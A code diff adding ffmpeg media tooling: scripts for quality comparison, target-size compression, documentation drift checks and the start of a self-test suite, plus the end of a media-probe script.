+    if proc.returncode != 0 or not proc.stdout.strip():
+        err(args.json, "VALIDATION",
+            f"ffprobe could not parse '{path.name}' as media: "
+            f"{proc.stderr.strip().splitlines()[-1] if proc.stderr.strip() else 'no detail'}",
+            EXIT_VALIDATION)
+
+    data = normalize(json.loads(proc.stdout), path)
+    if args.keyframes_near is not None:
+        if data["video"] is None:
+            err(args.json, "VALIDATION", "no video stream; --keyframes-near needs one",
+                EXIT_VALIDATION)
+        data["keyframes"] = keyframes_near(ffprobe, path, args.keyframes_near)
+
+    findings = []
+    if args.doctor:
+        findings = doctor(data, path)
+        has_warn = any(f["severity"] != "info" for f in findings)
+        data["doctor"] = {"findings": findings, "clean": not has_warn}
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+        if args.doctor and not data["doctor"]["clean"]:
+            return EXIT_FINDINGS
+        return EXIT_OK
+
+    # Human summary (stdout is still the data product — keep it grep-friendly).
+    v = data["video"]
+    print(f"file       {data['file']}")
+    print(f"container  {data['container']}  "
+          f"{data['duration_s']}s  {data['size_bytes']} bytes  "
+          f"{data['bitrate_bps'] // 1000} kb/s  {data['stream_count']} streams")
+    if v:
+        vfr = "  VFR-SUSPECT" if v["vfr_suspect"] else ""
+        rot = f"  rotation={v['rotation_deg']}" if v["rotation_deg"] else ""
+        print(f"video      {v['codec']} {v['width']}x{v['height']} "
+              f"{v['fps']}fps {v['pix_fmt']}{rot}{vfr}")
+        if v["color_space"] or v["color_transfer"]:
+            print(f"color      space={v['color_space'] or '?'} "
+                  f"transfer={v['color_transfer'] or '?'} "
+                  f"primaries={v['color_primaries'] or '?'}")
+    for a in data["audio"]:
+        print(f"audio #{a['index']}   {a['codec']} {a['sample_rate']}Hz "
+              f"{a['channels']}ch {a['channel_layout']} lang={a['language'] or '-'}")
+    for s in data["subtitles"]:
+        print(f"subs  #{s['index']}   {s['codec']} lang={s['language'] or '-'}")
+    if "keyframes" in data:
+        k = data["keyframes"]
+        print(f"keyframes  target={k['target_s']}s "
+              f"prev={k['prev_keyframe_s']}s next={k['next_keyframe_s']}s "
+              f"copy-cut-drift={k['copy_cut_drift_s']}s")
+    if args.doctor:
+        if not findings:
+            print("doctor     clean — no processing hazards detected")
+        for f in findings:
+            print(f"doctor     [{f['severity']}] {f['issue']} — {f['why']}")
+            if f["fix"]:
+                print(f"           fix: {f['fix']}")
+        if not data["doctor"]["clean"]:
+            return EXIT_FINDINGS
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 195 - 0
skills/ffmpeg-ops/scripts/quality-compare.py

@@ -0,0 +1,195 @@
+#!/usr/bin/env python3
+"""Objective quality verdict on an encode — VMAF/SSIM/PSNR vs the reference.
+
+Closes the encode loop: "did my compression actually look ok" becomes a number
+and an exit code the caller can branch on. Handles the resolution mismatch case
+(distorted is auto-scaled to reference dimensions before comparison) and parses
+the metric filters' log-text output so the agent never has to.
+
+Usage:   quality-compare.py [--metrics LIST] [--min-vmaf N] [--min-ssim N] [--json]
+                            <reference> <distorted>
+Input:   reference (original) and distorted (encoded) files as positionals
+Output:  stdout = metric lines (or --json envelope,
+         schema claude-mods.ffmpeg-ops.quality/v1)
+Stderr:  progress, errors
+Exit:    0 ok / at-or-above thresholds, 2 usage, 3 input missing,
+         4 metric parse failure, 5 ffmpeg missing (or libvmaf absent when
+         vmaf requested), 10 BELOW a requested threshold
+
+Guide:   VMAF >= 93 at 1080p ~ visually transparent; 80-93 noticeable on
+         inspection; < 80 visibly degraded. SSIM >= 0.98 ~ excellent.
+
+Examples:
+  quality-compare.py original.mp4 encoded.mp4
+  quality-compare.py original.mp4 encoded.mp4 --metrics vmaf --min-vmaf 90
+  quality-compare.py original.mp4 encoded.mp4 --metrics ssim,psnr --min-ssim 0.97
+  quality-compare.py original.mp4 encoded.mp4 --metrics vmaf --json | jq '.data.vmaf'
+"""
+
+import argparse
+import json
+import re
+import shutil
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+from typing import NoReturn, Optional
+
+SCHEMA = "claude-mods.ffmpeg-ops.quality/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION = 0, 2, 3, 4
+EXIT_MISSING_DEP, EXIT_BELOW_THRESHOLD = 5, 10
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def video_dims(ffprobe: str, path: Path) -> Optional[tuple]:
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-select_streams", "v:0",
+         "-show_entries", "stream=width,height", "-of", "csv=p=0", str(path)],
+        capture_output=True, text=True)
+    parts = proc.stdout.strip().split(",")
+    if len(parts) == 2 and all(p.isdigit() for p in parts):
+        return int(parts[0]), int(parts[1])
+    return None
+
+
+def has_filter(ffmpeg: str, name: str) -> bool:
+    proc = subprocess.run([ffmpeg, "-hide_banner", "-filters"],
+                          capture_output=True, text=True)
+    return bool(re.search(rf"^\s+[A-Z.|]+\s+{re.escape(name)}\s+", proc.stdout,
+                          re.MULTILINE))
+
+
+def run_metric(ffmpeg: str, ref: Path, dist: Path, scale: str,
+               metric_filter: str, cwd: Optional[str] = None) -> subprocess.CompletedProcess:
+    # libvmaf/ssim/psnr convention: first input = distorted, second = reference.
+    # cwd is set for vmaf so log_path can be a bare filename — a full Windows
+    # path inside the filter arg hits the drive-colon escaping trap.
+    graph = f"[0:v]{scale}[d];[d][1:v]{metric_filter}" if scale \
+        else f"[0:v][1:v]{metric_filter}"
+    return subprocess.run(
+        [ffmpeg, "-hide_banner", "-nostats",
+         "-i", str(dist.resolve()), "-i", str(ref.resolve()),
+         "-filter_complex", graph, "-f", "null", "-"],
+        capture_output=True, text=True, cwd=cwd)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="VMAF/SSIM/PSNR quality verdict: encoded vs reference.",
+        epilog="Examples:\n"
+               "  quality-compare.py original.mp4 encoded.mp4\n"
+               "  quality-compare.py original.mp4 encoded.mp4 --metrics vmaf --min-vmaf 90\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("reference", help="original/reference file")
+    ap.add_argument("distorted", help="encoded/processed file to judge")
+    ap.add_argument("--metrics", default="ssim,psnr",
+                    help="comma list of ssim,psnr,vmaf (default ssim,psnr)")
+    ap.add_argument("--min-vmaf", type=float, default=None,
+                    help="exit 10 if VMAF score is below this")
+    ap.add_argument("--min-ssim", type=float, default=None,
+                    help="exit 10 if SSIM (All) is below this")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    metrics = [m.strip().lower() for m in args.metrics.split(",") if m.strip()]
+    bad = [m for m in metrics if m not in ("ssim", "psnr", "vmaf")]
+    if bad or not metrics:
+        err(args.json, "USAGE", f"unknown metric(s): {', '.join(bad) or '(none)'}",
+            EXIT_USAGE)
+    if args.min_vmaf is not None and "vmaf" not in metrics:
+        metrics.append("vmaf")
+
+    ffmpeg, ffprobe = shutil.which("ffmpeg"), shutil.which("ffprobe")
+    if not ffmpeg or not ffprobe:
+        err(args.json, "MISSING_DEPENDENCY", "ffmpeg/ffprobe not found on PATH",
+            EXIT_MISSING_DEP)
+
+    ref, dist = Path(args.reference), Path(args.distorted)
+    for p in (ref, dist):
+        if not p.is_file():
+            err(args.json, "NOT_FOUND", f"file not found: {p}", EXIT_NOT_FOUND)
+
+    if "vmaf" in metrics and not has_filter(ffmpeg, "libvmaf"):
+        err(args.json, "MISSING_DEPENDENCY",
+            "this ffmpeg build lacks libvmaf (install a full build, e.g. "
+            "gyan.dev 'full' on Windows, or use --metrics ssim,psnr)",
+            EXIT_MISSING_DEP)
+
+    ref_dims, dist_dims = video_dims(ffprobe, ref), video_dims(ffprobe, dist)
+    if not ref_dims or not dist_dims:
+        err(args.json, "VALIDATION", "could not read video dimensions from inputs",
+            EXIT_VALIDATION)
+    scale = ""
+    if ref_dims != dist_dims:
+        scale = f"scale={ref_dims[0]}:{ref_dims[1]}:flags=bicubic"
+        print(f"note: scaling distorted {dist_dims[0]}x{dist_dims[1]} -> "
+              f"{ref_dims[0]}x{ref_dims[1]} for comparison", file=sys.stderr)
+
+    results: dict = {}
+    for metric in metrics:
+        print(f"running {metric}...", file=sys.stderr)
+        if metric == "vmaf":
+            with tempfile.TemporaryDirectory() as td:
+                log = Path(td) / "vmaf.json"
+                proc = run_metric(ffmpeg, ref, dist, scale,
+                                  "libvmaf=log_fmt=json:log_path=vmaf.json", cwd=td)
+                if proc.returncode != 0 or not log.is_file():
+                    err(args.json, "VALIDATION",
+                        f"vmaf run failed: {(proc.stderr.strip().splitlines() or ['?'])[-1]}",
+                        EXIT_VALIDATION)
+                vmaf_data = json.loads(log.read_text())
+            pooled = vmaf_data.get("pooled_metrics", {}).get("vmaf", {})
+            results["vmaf"] = {"mean": round(pooled.get("mean", 0.0), 2),
+                               "min": round(pooled.get("min", 0.0), 2),
+                               "harmonic_mean": round(pooled.get("harmonic_mean", 0.0), 2)}
+        elif metric == "ssim":
+            proc = run_metric(ffmpeg, ref, dist, scale, "ssim")
+            m = re.search(r"SSIM.*All:([\d.]+)", proc.stderr)
+            if not m:
+                err(args.json, "VALIDATION", "could not parse SSIM output",
+                    EXIT_VALIDATION)
+            results["ssim"] = {"all": float(m.group(1))}
+        elif metric == "psnr":
+            proc = run_metric(ffmpeg, ref, dist, scale, "psnr")
+            m = re.search(r"PSNR.*average:([\d.]+|inf)", proc.stderr)
+            if not m:
+                err(args.json, "VALIDATION", "could not parse PSNR output",
+                    EXIT_VALIDATION)
+            val = m.group(1)
+            results["psnr"] = {"average_db": float("inf") if val == "inf" else float(val)}
+
+    below = []
+    if args.min_vmaf is not None and results.get("vmaf", {}).get("mean", 1e9) < args.min_vmaf:
+        below.append(f"vmaf {results['vmaf']['mean']} < {args.min_vmaf}")
+    if args.min_ssim is not None and results.get("ssim", {}).get("all", 1e9) < args.min_ssim:
+        below.append(f"ssim {results['ssim']['all']} < {args.min_ssim}")
+
+    data = {"reference": str(ref), "distorted": str(dist),
+            "scaled_for_comparison": bool(scale),
+            "thresholds": {"min_vmaf": args.min_vmaf, "min_ssim": args.min_ssim},
+            "below_threshold": below, **results}
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        for name, vals in results.items():
+            flat = "  ".join(f"{k}={v}" for k, v in vals.items())
+            print(f"{name}\t{flat}")
+        for b in below:
+            print(f"below-threshold\t{b}")
+
+    if below:
+        print(f"VERDICT: below threshold ({'; '.join(below)})", file=sys.stderr)
+        return EXIT_BELOW_THRESHOLD
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 228 - 0
skills/ffmpeg-ops/scripts/smart-compress.py

@@ -0,0 +1,228 @@
+#!/usr/bin/env python3
+"""Target-size compression: 'make this fit in 25MB' as one verified command.
+
+Computes the video bitrate from the size budget (duration-aware, audio and mux
+overhead subtracted), auto-selects an audio bitrate and a downscale rung when
+the bits-per-pixel would be hopeless at source resolution, runs a two-pass
+encode (predictable size, unlike CRF), and VERIFIES the result actually landed
+under the cap — retrying once at -8% if not.
+
+Usage:   smart-compress.py --target SIZE [-o OUT] [--codec x264|x265]
+                           [--preset P] [--no-downscale] [--json] <file>
+Input:   one media file as positional; SIZE like 25MB, 8M, 512KB, 1.5GB
+Output:  stdout = result line (or --json envelope,
+         schema claude-mods.ffmpeg-ops.compress/v1)
+Stderr:  progress, plan explanation, errors
+Exit:    0 ok and under target, 2 usage, 3 input missing, 4 encode failure,
+         5 ffmpeg missing, 10 best effort still OVER target (kept, caller decides)
+
+Examples:
+  smart-compress.py --target 25MB video.mp4                 # Discord/email cap
+  smart-compress.py --target 8MB -o clip_small.mp4 clip.mov
+  smart-compress.py --target 50MB --codec x265 lecture.mp4
+  smart-compress.py --target 10MB --json in.mp4 | jq '.data.final_bytes'
+"""
+
+import argparse
+import json
+import re
+import shutil
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+from typing import NoReturn, Optional
+
+SCHEMA = "claude-mods.ffmpeg-ops.compress/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION = 0, 2, 3, 4
+EXIT_MISSING_DEP, EXIT_OVER_TARGET = 5, 10
+
+MUX_OVERHEAD = 0.98          # reserve 2% of the budget for container overhead
+DOWNSCALE_LADDER = [1080, 720, 540, 360, 270]
+MIN_BPP = 0.045              # below this bits-per-pixel, downscale instead
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def parse_size(s: str) -> Optional[int]:
+    m = re.fullmatch(r"([\d.]+)\s*([KMG]i?B?|B)?", s.strip(), re.IGNORECASE)
+    if not m:
+        return None
+    mult = {"": 1, "B": 1, "K": 1000, "M": 1000**2, "G": 1000**3,
+            "KI": 1024, "MI": 1024**2, "GI": 1024**3}
+    unit = (m.group(2) or "").upper().rstrip("B")
+    try:
+        return int(float(m.group(1)) * mult[unit])
+    except (KeyError, ValueError):
+        return None
+
+
+def probe(ffprobe: str, path: Path) -> dict:
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-print_format", "json",
+         "-show_format", "-show_streams", str(path)],
+        capture_output=True, text=True)
+    if proc.returncode != 0:
+        return {}
+    raw = json.loads(proc.stdout)
+    out = {"duration": float(raw.get("format", {}).get("duration", 0) or 0),
+           "size": int(raw.get("format", {}).get("size", 0) or 0),
+           "width": 0, "height": 0, "fps": 30.0, "has_audio": False}
+    for s in raw.get("streams", []):
+        if s.get("codec_type") == "video" and not out["width"]:
+            out["width"], out["height"] = s.get("width", 0), s.get("height", 0)
+            try:
+                num, den = s.get("avg_frame_rate", "30/1").split("/")
+                out["fps"] = (int(num) / int(den)) if int(den) else 30.0
+            except (ValueError, ZeroDivisionError):
+                pass
+        elif s.get("codec_type") == "audio":
+            out["has_audio"] = True
+    return out
+
+
+def plan_encode(info: dict, target_bytes: int, allow_downscale: bool) -> dict:
+    budget_kbps = (target_bytes * 8 / 1000) / info["duration"] * MUX_OVERHEAD
+    # Audio gets ~12% of the budget, clamped to sane speech/music rates.
+    audio_kbps = int(min(160, max(48, budget_kbps * 0.12))) if info["has_audio"] else 0
+    video_kbps = budget_kbps - audio_kbps
+    w, h, fps = info["width"], info["height"], info["fps"] or 30.0
+    scaled_h = None
+    if allow_downscale and w and h:
+        bpp = video_kbps * 1000 / (w * h * fps)
+        if bpp < MIN_BPP:
+            for rung in DOWNSCALE_LADDER:
+                if rung >= h:
+                    continue
+                rw = w * rung / h
+                if video_kbps * 1000 / (rw * rung * fps) >= MIN_BPP:
+                    scaled_h = rung
+                    break
+            else:
+                scaled_h = DOWNSCALE_LADDER[-1] if h > DOWNSCALE_LADDER[-1] else None
+    return {"video_kbps": int(video_kbps), "audio_kbps": audio_kbps,
+            "scale_height": scaled_h}
+
+
+def two_pass(ffmpeg: str, path: Path, out: Path, plan: dict, codec: str,
+             preset: str, json_mode: bool) -> None:
+    enc = {"x264": "libx264", "x265": "libx265"}[codec]
+    vf = ["-vf", f"scale=-2:{plan['scale_height']}"] if plan["scale_height"] else []
+    audio = (["-c:a", "aac", "-b:a", f"{plan['audio_kbps']}k", "-ar", "48000"]
+             if plan["audio_kbps"] else ["-an"])
+    tag = ["-tag:v", "hvc1"] if codec == "x265" else []
+    with tempfile.TemporaryDirectory() as td:
+        passlog = str(Path(td) / "ffpass")
+        base = [ffmpeg, "-y", "-v", "error", "-i", str(path),
+                "-c:v", enc, "-b:v", f"{plan['video_kbps']}k",
+                "-preset", preset, "-pix_fmt", "yuv420p", *tag, *vf,
+                "-passlogfile", passlog]
+        p1 = subprocess.run([*base, "-pass", "1", "-an", "-f", "null",
+                             "NUL" if sys.platform == "win32" else "/dev/null"],
+                            capture_output=True, text=True)
+        if p1.returncode != 0:
+            err(json_mode, "VALIDATION",
+                f"pass 1 failed: {(p1.stderr.strip().splitlines() or ['?'])[-1]}",
+                EXIT_VALIDATION)
+        p2 = subprocess.run([*base, "-pass", "2", *audio,
+                             "-movflags", "+faststart", str(out)],
+                            capture_output=True, text=True)
+        if p2.returncode != 0:
+            err(json_mode, "VALIDATION",
+                f"pass 2 failed: {(p2.stderr.strip().splitlines() or ['?'])[-1]}",
+                EXIT_VALIDATION)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Compress a video to fit a size target (two-pass, verified).",
+        epilog="Examples:\n"
+               "  smart-compress.py --target 25MB video.mp4\n"
+               "  smart-compress.py --target 8MB -o small.mp4 clip.mov\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("file", help="input media file")
+    ap.add_argument("--target", required=True, metavar="SIZE",
+                    help="size cap, e.g. 25MB, 8M, 1.5GB (MiB/GiB also accepted)")
+    ap.add_argument("-o", "--output", default=None,
+                    help="output path (default <stem>.compressed.mp4)")
+    ap.add_argument("--codec", default="x264", choices=("x264", "x265"),
+                    help="x264 = universal (default); x265 = ~40%% smaller, modern players")
+    ap.add_argument("--preset", default="slow",
+                    help="encoder preset (default slow; use medium/fast for speed)")
+    ap.add_argument("--no-downscale", action="store_true",
+                    help="never lower resolution, even at hopeless bits-per-pixel")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    target = parse_size(args.target)
+    if not target or target <= 0:
+        err(args.json, "USAGE", f"could not parse --target size: {args.target!r}",
+            EXIT_USAGE)
+
+    ffmpeg, ffprobe = shutil.which("ffmpeg"), shutil.which("ffprobe")
+    if not ffmpeg or not ffprobe:
+        err(args.json, "MISSING_DEPENDENCY", "ffmpeg/ffprobe not found on PATH",
+            EXIT_MISSING_DEP)
+
+    path = Path(args.file)
+    if not path.is_file():
+        err(args.json, "NOT_FOUND", f"file not found: {path}", EXIT_NOT_FOUND)
+    info = probe(ffprobe, path)
+    if not info or info["duration"] <= 0:
+        err(args.json, "VALIDATION", "could not probe input (no duration)",
+            EXIT_VALIDATION)
+    if info["size"] and info["size"] <= target:
+        print(f"input is already {info['size']} bytes <= target {target} — "
+              f"no encode needed (copy it as-is)", file=sys.stderr)
+
+    out = Path(args.output) if args.output else path.with_name(
+        path.stem + ".compressed.mp4")
+    plan = plan_encode(info, target, not args.no_downscale)
+    if plan["video_kbps"] < 50:
+        err(args.json, "VALIDATION",
+            f"budget gives only {plan['video_kbps']} kb/s video for "
+            f"{info['duration']:.0f}s — target too small; trim the video or raise it",
+            EXIT_VALIDATION)
+
+    scale_note = f", downscale to {plan['scale_height']}p" if plan["scale_height"] else ""
+    print(f"plan: video {plan['video_kbps']}k + audio {plan['audio_kbps']}k "
+          f"({args.codec}, two-pass, preset {args.preset}{scale_note})", file=sys.stderr)
+
+    attempts = []
+    current = dict(plan)
+    for attempt in (1, 2):
+        print(f"encoding (attempt {attempt})...", file=sys.stderr)
+        two_pass(ffmpeg, path, out, current, args.codec, args.preset, args.json)
+        size = out.stat().st_size
+        attempts.append({"video_kbps": current["video_kbps"], "bytes": size})
+        if size <= target:
+            break
+        # Two-pass overshoot is rare but real on short/complex content: -8%.
+        print(f"over target ({size} > {target}); retrying at -8% bitrate",
+              file=sys.stderr)
+        current["video_kbps"] = int(current["video_kbps"] * 0.92)
+
+    final = out.stat().st_size
+    data = {"input": str(path), "output": str(out), "target_bytes": target,
+            "final_bytes": final, "under_target": final <= target,
+            "plan": plan, "attempts": attempts}
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        print(f"{out}\t{final}\t{'OK' if final <= target else 'OVER'}\t{target}")
+    if final > target:
+        print(f"best effort is still over target — kept at {final} bytes; "
+              f"trim duration or accept a lower resolution", file=sys.stderr)
+        return EXIT_OVER_TARGET
+    print(f"done: {final} bytes ({100 * final / target:.0f}% of budget)",
+          file=sys.stderr)
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 160 - 0
skills/ffmpeg-ops/scripts/verify-commands.sh

@@ -0,0 +1,160 @@
+#!/usr/bin/env bash
+# Staleness verifier for ffmpeg-ops docs — offline structural + live build-drift.
+#
+# --offline (default): structural integrity, NO ffmpeg needed. Assets parse as
+#   JSON, every reference/script/asset on disk is cited from SKILL.md, and every
+#   relative link in SKILL.md resolves. Runs in PR CI; may block.
+# --live: does the documentation still match an actual ffmpeg? Extracts the
+#   encoders/filters the docs rely on and checks them against the INSTALLED
+#   build (`-encoders`/`-filters`/`-h full`). Core items missing = drift
+#   (exit 10); build-optional items (libx265, libvmaf, ...) only warn.
+#   Runs in the scheduled freshness workflow; never blocks a PR.
+#
+# Usage:   verify-commands.sh [--offline | --live] [-q]
+# Input:   none (inspects the skill's own files; --live also the ffmpeg on PATH)
+# Output:  stdout = findings (one per line, "DRIFT:" / "STRUCT:" prefixed)
+# Stderr:  progress, warnings
+# Exit:    0 clean, 2 usage, 7 ffmpeg unavailable (--live only; advisory),
+#          10 drift/structural finding
+#
+# Examples:
+#   verify-commands.sh --offline
+#   verify-commands.sh --live
+#   verify-commands.sh --live -q; echo "exit=$?"
+
+set -uo pipefail
+
+EXIT_OK=0; EXIT_USAGE=2; EXIT_UNAVAILABLE=7; EXIT_DRIFT=10
+
+MODE="offline"; QUIET=0
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --offline)  MODE="offline" ;;
+    --live)     MODE="live" ;;
+    -q|--quiet) QUIET=1 ;;
+    -h|--help)  sed -n '2,26p' "$0" | sed 's/^# \{0,1\}//'; exit "$EXIT_OK" ;;
+    *) echo "ERROR: unknown argument: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+  esac
+  shift
+done
+
+SKILL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+SKILL_MD="$SKILL_DIR/SKILL.md"
+findings=0
+emit()    { [[ "$QUIET" -eq 1 ]] || printf '%s\n' "$1" >&2; }
+finding() { printf '%s\n' "$1"; findings=$((findings + 1)); }
+
+# Pick a working python for JSON validation (Windows Store stub exits non-zero).
+PYTHON=""
+for c in python3 python py; do
+  if command -v "$c" >/dev/null 2>&1 && "$c" -c "" >/dev/null 2>&1; then PYTHON="$c"; break; fi
+done
+
+# ── offline: structural ──────────────────────────────────────────────────────
+offline_checks() {
+  emit "== verify-commands --offline (structural)"
+  [[ -f "$SKILL_MD" ]] || { finding "STRUCT: SKILL.md missing"; return; }
+
+  # 1. assets parse as JSON
+  for a in "$SKILL_DIR"/assets/*.json; do
+    [[ -e "$a" ]] || continue
+    if [[ -n "$PYTHON" ]]; then
+      "$PYTHON" -c "import json,sys; json.load(open(sys.argv[1], encoding='utf-8'))" "$a" \
+        >/dev/null 2>&1 || finding "STRUCT: asset not valid JSON: $(basename "$a")"
+    elif command -v jq >/dev/null 2>&1; then
+      jq empty "$a" >/dev/null 2>&1 || finding "STRUCT: asset not valid JSON: $(basename "$a")"
+    fi
+  done
+
+  # 2. every shipped resource is cited from SKILL.md (dead weight check)
+  for d in references scripts assets; do
+    for f in "$SKILL_DIR/$d"/*; do
+      [[ -f "$f" ]] || continue
+      base="$(basename "$f")"
+      [[ "$base" == ".gitkeep" ]] && continue
+      grep -q "$base" "$SKILL_MD" \
+        || finding "STRUCT: $d/$base exists on disk but is never cited from SKILL.md"
+    done
+  done
+
+  # 3. every relative resource link in SKILL.md resolves
+  while IFS= read -r path; do
+    [[ -e "$SKILL_DIR/$path" ]] \
+      || finding "STRUCT: SKILL.md links to missing file: $path"
+  done < <(grep -oE '\]\((references|assets|scripts|tests)/[^)#]+\)' "$SKILL_MD" \
+           | sed -E 's/^\]\(//; s/\)$//' | sort -u)
+}
+
+# ── live: docs vs the installed build ────────────────────────────────────────
+live_checks() {
+  emit "== verify-commands --live (installed-build drift)"
+  if ! command -v ffmpeg >/dev/null 2>&1; then
+    echo "ffmpeg not on PATH — live check unavailable (advisory, not a failure)" >&2
+    exit "$EXIT_UNAVAILABLE"
+  fi
+  local encoders filters hfull docs
+  encoders="$(ffmpeg -hide_banner -encoders 2>/dev/null)"
+  filters="$(ffmpeg -hide_banner -filters 2>/dev/null)"
+  hfull="$(ffmpeg -hide_banner -h full 2>/dev/null)"
+  docs="$(cat "$SKILL_MD" "$SKILL_DIR"/references/*.md 2>/dev/null)"
+
+  # Filters that exist in EVERY ffmpeg build — absence means the filter was
+  # renamed/removed upstream, i.e. our docs drifted.
+  local core_filters=(scale crop pad fps overlay concat setpts atempo amix
+                      silencedetect silenceremove loudnorm palettegen paletteuse
+                      select tile transpose trim atrim split format)
+  # Build-optional (external libs / hw): warn only.
+  local optional_tokens=(libx264 libx265 libsvtav1 libaom-av1 libvpx-vp9 libopus
+                         libmp3lame drawtext subtitles lut3d zscale tonemap
+                         libvmaf minterpolate vidstabdetect vidstabtransform
+                         bwdif hqdn3d nlmeans xstack showwaves showspectrum
+                         colorbalance colortemperature colorchannelmixer
+                         colorhold vibrance haldclut chromashift)
+  # CLI options the cookbook depends on; renamed/removed = drift (-vsync class).
+  local core_options=(fps_mode movflags avoid_negative_ts map_metadata
+                      filter_complex frames pix_fmt)
+
+  # NOTE: the flags column width varies across ffmpeg majors (3 chars <=7.x,
+  # 2 chars in 8.x) — match any flag run, then the exact filter name token.
+  for f in "${core_filters[@]}"; do
+    grep -qE "^ +[A-Z.|]+ +$f +" <<<"$filters" \
+      || finding "DRIFT: core filter '$f' not in installed ffmpeg (renamed/removed upstream?)"
+  done
+
+  for opt in "${core_options[@]}"; do
+    grep -q -- "-$opt" <<<"$hfull" \
+      || finding "DRIFT: documented option '-$opt' unknown to installed ffmpeg"
+  done
+
+  # Every software encoder the docs name must at least be a known encoder name
+  # in this build — missing here is a warning (build config), not drift, EXCEPT
+  # the universal natives (aac, ffv1) which every build ships.
+  for enc in aac ffv1; do
+    grep -qE "^ [A-Z.]{6} +$enc " <<<"$encoders" \
+      || finding "DRIFT: native encoder '$enc' not in installed ffmpeg"
+  done
+  for tok in "${optional_tokens[@]}"; do
+    if grep -qF "$tok" <<<"$docs"; then
+      grep -qE "(^ [A-Z.]{6} +$tok )|(^ +[A-Z.|]+ +$tok +)" <<<"$encoders"$'\n'"$filters" \
+        || emit "   warn: '$tok' documented but absent from this build (build-optional — not drift)"
+    fi
+  done
+
+  # Deprecated-flag tripwire: docs must not RECOMMEND -vsync (mentioning it as
+  # deprecated in footgun tables is fine; a code fence using it is not).
+  if grep -E '^\s*ffmpeg .*-vsync ' <<<"$docs" | grep -vq 'fps_mode'; then
+    finding "DRIFT: a documented command still uses deprecated -vsync (use -fps_mode)"
+  fi
+}
+
+case "$MODE" in
+  offline) offline_checks ;;
+  live)    live_checks ;;
+esac
+
+if [[ "$findings" -eq 0 ]]; then
+  emit "verify-commands ($MODE): clean"
+  exit "$EXIT_OK"
+fi
+emit "verify-commands ($MODE): $findings finding(s)"
+exit "$EXIT_DRIFT"

+ 248 - 0
skills/ffmpeg-ops/tests/run.sh

@@ -0,0 +1,248 @@
+#!/usr/bin/env bash
+# Self-test for ffmpeg-ops scripts.
+#
+# Structural assertions always run (no ffmpeg needed): --help contracts,
+# py_compile/bash -n, documented exit codes on bad input, pure-python LUT
+# generation, EDL validation + dry-run, offline staleness verifier, asset JSON.
+# Media round-trips run ONLY when ffmpeg is on PATH — fixtures are synthesized
+# with lavfi (testsrc2/sine), so no binary fixtures live in the repo. Without
+# ffmpeg the media section is a LOUD skip, never a silent false-clean.
+#
+# Usage:   bash tests/run.sh
+# Exit:    0 all pass, 1 one or more failures
+
+set -uo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+SKILL="$(dirname "$HERE")"
+S="$SKILL/scripts"
+
+# Pick a python that actually executes (Windows Store python3 stub exits non-zero).
+PYTHON=""
+for c in python python3 py; do
+  if command -v "$c" >/dev/null 2>&1 && "$c" -c "" >/dev/null 2>&1; then PYTHON="$c"; break; fi
+done
+[[ -z "$PYTHON" ]] && { echo "no working python found" >&2; exit 1; }
+
+SB="$(mktemp -d)"; trap 'rm -rf "$SB"' EXIT
+PASS=0; FAIL=0
+ok() { PASS=$((PASS+1)); printf '  PASS  %s\n' "$1"; }
+no() { FAIL=$((FAIL+1)); printf '  FAIL  %s\n' "$1"; }
+expect_exit() { [[ "$2" == "$3" ]] && ok "$1 (exit $3)" || no "$1 (want $2 got $3)"; }
+expect_has()  { case "$3" in *"$2"*) ok "$1";; *) no "$1 (missing '$2')";; esac; }
+
+echo "=== ffmpeg-ops self-test ==="
+
+# ── structural: every script honors the contract ────────────────────────────
+echo "-- contracts --"
+for py in probe-media.py loudnorm-scan.py detect-segments.py quality-compare.py \
+          cut-from-edl.py gen-luts.py make-chapters.py smart-compress.py \
+          make-sprites.py; do
+  "$PYTHON" -m py_compile "$S/$py" 2>/dev/null && ok "py_compile $py" || no "py_compile $py"
+  "$PYTHON" "$S/$py" --help >/dev/null 2>&1; expect_exit "$py --help" 0 $?
+  out="$("$PYTHON" "$S/$py" --help 2>/dev/null)"; expect_has "$py --help has Examples" "xamples" "$out"
+done
+for sh in capability-scan.sh verify-commands.sh; do
+  bash -n "$S/$sh" 2>/dev/null && ok "bash -n $sh" || no "bash -n $sh"
+  bash "$S/$sh" --help >/dev/null 2>&1; expect_exit "$sh --help" 0 $?
+done
+bash "$S/capability-scan.sh" --bogus-flag >/dev/null 2>&1; expect_exit "capability-scan unknown flag -> 2" 2 $?
